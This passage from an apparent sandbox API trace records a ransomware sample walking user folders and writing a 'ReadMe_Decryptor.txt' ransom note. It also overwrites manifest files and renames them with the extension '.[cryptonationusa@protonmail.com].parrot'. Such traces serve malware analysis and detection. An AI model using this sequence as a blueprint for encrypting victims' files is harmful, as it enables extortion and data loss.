Flags=0x0, Size=0x8) returned 0x5d4b20 [0036.904] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\DQQ19BCJ.JAX\\YVORLGOR.PNT\\manifests\\ReadMe_Decryptor.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\apps\\2.0\\dqq19bcj.jax\\yvorlgor.pnt\\manifests\\readme_decryptor.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18e3f8, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x270 [0036.905] GetFileType (hFile=0x270) returned 0x1 [0036.905] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1000) returned 0x5d4d18 [0036.916] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60d588 | out: hHeap=0x5b0000) returned 1 [0036.917] lstrcmpW (lpString1="goog...app_baa8013a79450f71_0001.0003_none_677c9e37069a7e2a.manifest", lpString2="ReadMe_Decryptor.txt") returned -1 [0036.917] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\DQQ19BCJ.JAX\\YVORLGOR.PNT\\manifests\\goog...app_baa8013a79450f71_0001.0003_none_677c9e37069a7e2a.manifest" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\apps\\2.0\\dqq19bcj.jax\\yvorlgor.pnt\\manifests\\goog...app_baa8013a79450f71_0001.0003_none_677c9e37069a7e2a.manifest"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x270 [0036.917] GetFileSize (in: hFile=0x270, lpFileSizeHigh=0x18e680 | out: lpFileSizeHigh=0x18e680*=0x0) returned 0x2e30 [0036.917] LockFile (hFile=0x270, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x2f48, nNumberOfBytesToLockHigh=0x0) returned 1 [0036.917] SetFilePointerEx (in: hFile=0x270, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0036.917] ReadFile (in: hFile=0x270, lpBuffer=0x18e660, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e604, lpOverlapped=0x0 | out: lpBuffer=0x18e660*, lpNumberOfBytesRead=0x18e604*=0x18, lpOverlapped=0x0) returned 1 [0036.936] SetFilePointerEx (in: hFile=0x270, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0036.936] ReadFile (in: hFile=0x270, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0x2e30, lpNumberOfBytesRead=0x18e604, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18e604*=0x2e30, lpOverlapped=0x0) returned 1 [0036.956] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4960 [0036.957] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4960 | out: hHeap=0x5b0000) returned 1 [0036.957] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x23) returned 0x606cd8 [0036.957] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x10) returned 0x606968 [0036.957] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2c) returned 0x605358 [0036.957] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x120c) returned 0x5d4d18 [0036.957] GetLastError () returned 0x0 [0036.957] SetLastError (dwErrCode=0x0) [0036.957] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x605358 | out: hHeap=0x5b0000) returned 1 [0036.957] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x78) returned 0x5c2680 [0036.959] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x10) returned 0x606950 [0036.959] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x14) returned 0x5cb8c8 [0036.959] GetLastError () returned 0x0 [0036.960] SetFilePointerEx (in: hFile=0x270, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0036.960] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4960 [0036.960] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4b20 [0036.960] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4960 | out: hHeap=0x5b0000) returned 1 [0036.960] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x3) returned 0x5d4960 [0036.960] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4b20 | out: hHeap=0x5b0000) returned 1 [0036.960] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4b20 [0036.960] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4960 | out: hHeap=0x5b0000) returned 1 [0036.960] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x6) returned 0x5d4960 [0036.960] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4b20 | out: hHeap=0x5b0000) returned 1 [0036.960] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x9) returned 0x606968 [0036.960] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4960 | out: hHeap=0x5b0000) returned 1 [0036.960] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xd) returned 0x606950 [0036.960] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x606968 | out: hHeap=0x5b0000) returned 1 [0036.960] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x13) returned 0x5cb8c8 [0036.960] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x606950 | out: hHeap=0x5b0000) returned 1 [0036.960] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1c) returned 0x60d588 [0036.960] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5cb8c8 | out: hHeap=0x5b0000) returned 1 [0036.960] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2a) returned 0x605358 [0036.960] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60d588 | out: hHeap=0x5b0000) returned 1 [0036.961] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x3f) returned 0x5c7b58 [0036.961] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x605358 | out: hHeap=0x5b0000) returned 1 [0036.961] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x5e) returned 0x60b6e8 [0036.961] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5c7b58 | out: hHeap=0x5b0000) returned 1 [0036.961] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8d) returned 0x60c798 [0036.961] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60b6e8 | out: hHeap=0x5b0000) returned 1 [0036.961] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xd3) returned 0x5d2850 [0036.961] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60c798 | out: hHeap=0x5b0000) returned 1 [0036.961] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x13c) returned 0x5d2930 [0036.961] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d2850 | out: hHeap=0x5b0000) returned 1 [0036.961] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1da) returned 0x5d2a78 [0036.961] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d2930 | out: hHeap=0x5b0000) returned 1 [0036.961] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2c7) returned 0x5d33c8 [0036.961] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d2a78 | out: hHeap=0x5b0000) returned 1 [0036.961] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x42a) returned 0x5d2850 [0036.961] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d33c8 | out: hHeap=0x5b0000) returned 1 [0036.961] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x63f) returned 0x5d33c8 [0036.961] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d2850 | out: hHeap=0x5b0000) returned 1 [0036.961] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x95e) returned 0x5d4d18 [0036.961] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d33c8 | out: hHeap=0x5b0000) returned 1 [0036.961] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xe0d) returned 0x5d8fd0 [0036.961] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4d18 | out: hHeap=0x5b0000) returned 1 [0036.961] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1536) returned 0x5cce58 [0036.961] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d8fd0 | out: hHeap=0x5b0000) returned 1 [0036.961] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1fbf) returned 0x5ce398 [0036.961] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5cce58 | out: hHeap=0x5b0000) returned 1 [0036.961] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2f8d) returned 0x22440a0 [0036.961] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5ce398 | out: hHeap=0x5b0000) returned 1 [0036.961] WriteFile (in: hFile=0x270, lpBuffer=0x22440c0*, nNumberOfBytesToWrite=0x2f58, lpNumberOfBytesWritten=0x18e604, lpOverlapped=0x0 | out: lpBuffer=0x22440c0*, lpNumberOfBytesWritten=0x18e604*=0x2f58, lpOverlapped=0x0) returned 1 [0036.962] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x22440a0 | out: hHeap=0x5b0000) returned 1 [0036.962] UnlockFile (hFile=0x270, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x2f48, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0036.962] CloseHandle (hObject=0x270) returned 1 [0036.963] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x140) returned 0x5d2850 [0036.963] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1de) returned 0x5d2998 [0036.963] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d2850 | out: hHeap=0x5b0000) returned 1 [0036.963] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\DQQ19BCJ.JAX\\YVORLGOR.PNT\\manifests\\goog...app_baa8013a79450f71_0001.0003_none_677c9e37069a7e2a.manifest" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\apps\\2.0\\dqq19bcj.jax\\yvorlgor.pnt\\manifests\\goog...app_baa8013a79450f71_0001.0003_none_677c9e37069a7e2a.manifest"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\DQQ19BCJ.JAX\\YVORLGOR.PNT\\manifests\\goog...app_baa8013a79450f71_0001.0003_none_677c9e37069a7e2a.manifest.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\apps\\2.0\\dqq19bcj.jax\\yvorlgor.pnt\\manifests\\goog...app_baa8013a79450f71_0001.0003_none_677c9e37069a7e2a.manifest.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0036.964] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d2998 | out: hHeap=0x5b0000) returned 1 [0036.964] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x610930 | out: hHeap=0x5b0000) returned 1 [0036.964] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2240060 | out: hHeap=0x5b0000) returned 1 [0036.964] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xc0) returned 0x60c798 [0036.964] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xe0) returned 0x610930 [0036.964] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8) returned 0x5d4960 [0036.964] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8) returned 0x5d4b20 [0036.964] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\DQQ19BCJ.JAX\\YVORLGOR.PNT\\manifests\\ReadMe_Decryptor.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\apps\\2.0\\dqq19bcj.jax\\yvorlgor.pnt\\manifests\\readme_decryptor.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18e3f8, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x270 [0036.965] GetFileType (hFile=0x270) returned 0x1 [0036.965] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1000) returned 0x5d4d18 [0037.073] FindClose (in: hFindFile=0x600550 | out: hFindFile=0x600550) returned 1 [0037.074] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\DQQ19BCJ.JAX\\YVORLGOR.PNT\\manifests\\*", fInfoLevelId=0x0, lpFindFileData=0x18e6bc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18e6bc) returned 0x600550 [0037.074] FindNextFileW (in: hFindFile=0x600550, lpFindFileData=0x18e6bc | out: lpFindFileData=0x18e6bc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x65f935c0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xa6efc3a0, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xa6efc3a0, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0037.074] FindNextFileW (in: hFindFile=0x600550, lpFindFileData=0x18e6bc | out: lpFindFileData=0x18e6bc*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x6a37a2c0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x6a37a2c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xa6a5f900, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x43f8, dwReserved0=0x0, dwReserved1=0x0, cFileName="clic...exe_baa8013a79450f71_0001.0003_none_855491bb37a51715.cdf-ms", cAlternateFileName="CLICEX~1.CDF")) returned 1 [0037.075] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x90) returned 0x610930 [0037.075] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x610930 | out: hHeap=0x5b0000) returned 1 [0037.075] lstrcmpW (lpString1="clic...exe_baa8013a79450f71_0001.0003_none_855491bb37a51715.cdf-ms", lpString2="ReadMe_Decryptor.txt") returned -1 [0037.075] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x140) returned 0x610930 [0037.075] FindNextFileW (in: hFindFile=0x600550, lpFindFileData=0x18e6bc | out: lpFindFileData=0x18e6bc*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x6a37a2c0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x6a37a2c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xa6b6a2a0, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x3668, dwReserved0=0x0, dwReserved1=0x0, cFileName="clic...exe_baa8013a79450f71_0001.0003_none_855491bb37a51715.manifest", cAlternateFileName="CLICEX~1.MAN")) returned 1 [0037.075] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x90) returned 0x5cc550 [0037.075] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x60d588 [0037.075] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5cc550 | out: hHeap=0x5b0000) returned 1 [0037.075] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60d588 | out: hHeap=0x5b0000) returned 1 [0037.075] lstrcmpW (lpString1="clic...exe_baa8013a79450f71_0001.0003_none_855491bb37a51715.manifest", lpString2="ReadMe_Decryptor.txt") returned -1 [0037.075] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x140) returned 0x5cc550 [0037.075] FindNextFileW (in: hFindFile=0x600550, lpFindFileData=0x18e6bc | out: lpFindFileData=0x18e6bc*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x6a37a2c0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x6a37a2c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xa6e63e20, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x39d8, dwReserved0=0x0, dwReserved1=0x0, cFileName="goog...app_baa8013a79450f71_0001.0003_none_677c9e37069a7e2a.cdf-ms.[cryptonationusa@protonmail.com].parrot", cAlternateFileName="GOOGAP~1.PAR")) returned 1 [0037.075] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xe0) returned 0x5cc698 [0037.075] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5cc698 | out: hHeap=0x5b0000) returned 1 [0037.075] lstrcmpW (lpString1="goog...app_baa8013a79450f71_0001.0003_none_677c9e37069a7e2a.cdf-ms.[cryptonationusa@protonmail.com].parrot", lpString2="ReadMe_Decryptor.txt") returned -1 [0037.075] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x190) returned 0x5d2850 [0037.075] FindNextFileW (in: hFindFile=0x600550, lpFindFileData=0x18e6bc | out: lpFindFileData=0x18e6bc*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x6a37a2c0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x6a37a2c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xa6efc3a0, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x2f58, dwReserved0=0x0, dwReserved1=0x0, cFileName="goog...app_baa8013a79450f71_0001.0003_none_677c9e37069a7e2a.manifest.[cryptonationusa@protonmail.com].parrot", cAlternateFileName="GOOGAP~2.PAR")) returned 1 [0037.075] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xe0) returned 0x5cc698 [0037.075] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5cc698 | out: hHeap=0x5b0000) returned 1 [0037.075] lstrcmpW (lpString1="goog...app_baa8013a79450f71_0001.0003_none_677c9e37069a7e2a.manifest.[cryptonationusa@protonmail.com].parrot", lpString2="ReadMe_Decryptor.txt") returned -1 [0037.075] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x190) returned 0x5d29e8 [0037.075] FindNextFileW (in: hFindFile=0x600550, lpFindFileData=0x18e6bc | out: lpFindFileData=0x18e6bc*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xa6e63e20, ftCreationTime.dwHighDateTime=0x1d5e09d, ftLastAccessTime.dwLowDateTime=0xa6e63e20, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xa7006d40, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x258, dwReserved0=0x0, dwReserved1=0x0, cFileName="ReadMe_Decryptor.txt", cAlternateFileName="README~1.TXT")) returned 1 [0037.075] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x30) returned 0x605358 [0037.075] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x605358 | out: hHeap=0x5b0000) returned 1 [0037.075] lstrcmpW (lpString1="ReadMe_Decryptor.txt", lpString2="ReadMe_Decryptor.txt") returned 0 [0037.075] FindNextFileW (in: hFindFile=0x600550, lpFindFileData=0x18e6bc | out: lpFindFileData=0x18e6bc*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xa6e63e20, ftCreationTime.dwHighDateTime=0x1d5e09d, ftLastAccessTime.dwLowDateTime=0xa6e63e20, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xa7006d40, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x258, dwReserved0=0x0, dwReserved1=0x0, cFileName="ReadMe_Decryptor.txt", cAlternateFileName="README~1.TXT")) returned 0 [0037.075] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60c798 | out: hHeap=0x5b0000) returned 1 [0037.075] FindClose (in: hFindFile=0x600550 | out: hFindFile=0x600550) returned 1 [0037.076] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x601838 | out: hHeap=0x5b0000) returned 1 [0037.076] FindNextFileW (in: hFindFile=0x600510, lpFindFileData=0x18e9ac | out: lpFindFileData=0x18e9ac*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x65f935c0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x6a37a2c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x6a37a2c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="manifests", cAlternateFileName="MANIFE~1")) returned 0 [0037.076] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xa0) returned 0x601838 [0037.076] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xee) returned 0x60c798 [0037.076] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x601838 | out: hHeap=0x5b0000) returned 1 [0037.076] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d1908 | out: hHeap=0x5b0000) returned 1 [0037.076] FindClose (in: hFindFile=0x600510 | out: hFindFile=0x600510) returned 1 [0037.076] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\DQQ19BCJ.JAX\\YVORLGOR.PNT\\*", fInfoLevelId=0x0, lpFindFileData=0x18e9ac, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18e9ac) returned 0x600510 [0037.076] FindNextFileW (in: hFindFile=0x600510, lpFindFileData=0x18e9ac | out: lpFindFileData=0x18e9ac*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x65f935c0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x6a37a2c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x6a37a2c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0037.076] FindNextFileW (in: hFindFile=0x600510, lpFindFileData=0x18e9ac | out: lpFindFileData=0x18e9ac*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x6a37a2c0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x6a37a2c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x6a37a2c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="clic...exe_baa8013a79450f71_0001.0003_none_855491bb37a51715", cAlternateFileName="CLICEX~1.000")) returned 1 [0037.076] FindNextFileW (in: hFindFile=0x600510, lpFindFileData=0x18e9ac | out: lpFindFileData=0x18e9ac*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x6a37a2c0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xa6d0d1c0, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xa6d0d1c0, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="goog...app_baa8013a79450f71_0001.0003_290679d077f4cfec", cAlternateFileName="GOOGAP~1.000")) returned 1 [0037.076] FindNextFileW (in: hFindFile=0x600510, lpFindFileData=0x18e9ac | out: lpFindFileData=0x18e9ac*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x65f935c0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xa6efc3a0, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xa6efc3a0, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="manifests", cAlternateFileName="MANIFE~1")) returned 1 [0037.076] FindNextFileW (in: hFindFile=0x600510, lpFindFileData=0x18e9ac | out: lpFindFileData=0x18e9ac*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x65f935c0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xa6efc3a0, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xa6efc3a0, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="manifests", cAlternateFileName="MANIFE~1")) returned 0 [0037.076] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60c798 | out: hHeap=0x5b0000) returned 1 [0037.076] FindClose (in: hFindFile=0x600510 | out: hFindFile=0x600510) returned 1 [0037.076] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60cf50 | out: hHeap=0x5b0000) returned 1 [0037.076] FindNextFileW (in: hFindFile=0x6004d0, lpFindFileData=0x18ec9c | out: lpFindFileData=0x18ec9c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x65f935c0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x6a37a2c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x6a37a2c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="YVORLGOR.PNT", cAlternateFileName="")) returned 0 [0037.076] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x90) returned 0x60cf50 [0037.076] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60ce70 | out: hHeap=0x5b0000) returned 1 [0037.076] FindClose (in: hFindFile=0x6004d0 | out: hFindFile=0x6004d0) returned 1 [0037.078] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\DQQ19BCJ.JAX\\*", fInfoLevelId=0x0, lpFindFileData=0x18ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18ec9c) returned 0x6004d0 [0037.079] FindNextFileW (in: hFindFile=0x6004d0, lpFindFileData=0x18ec9c | out: lpFindFileData=0x18ec9c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x65f935c0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x65f935c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x65f935c0, 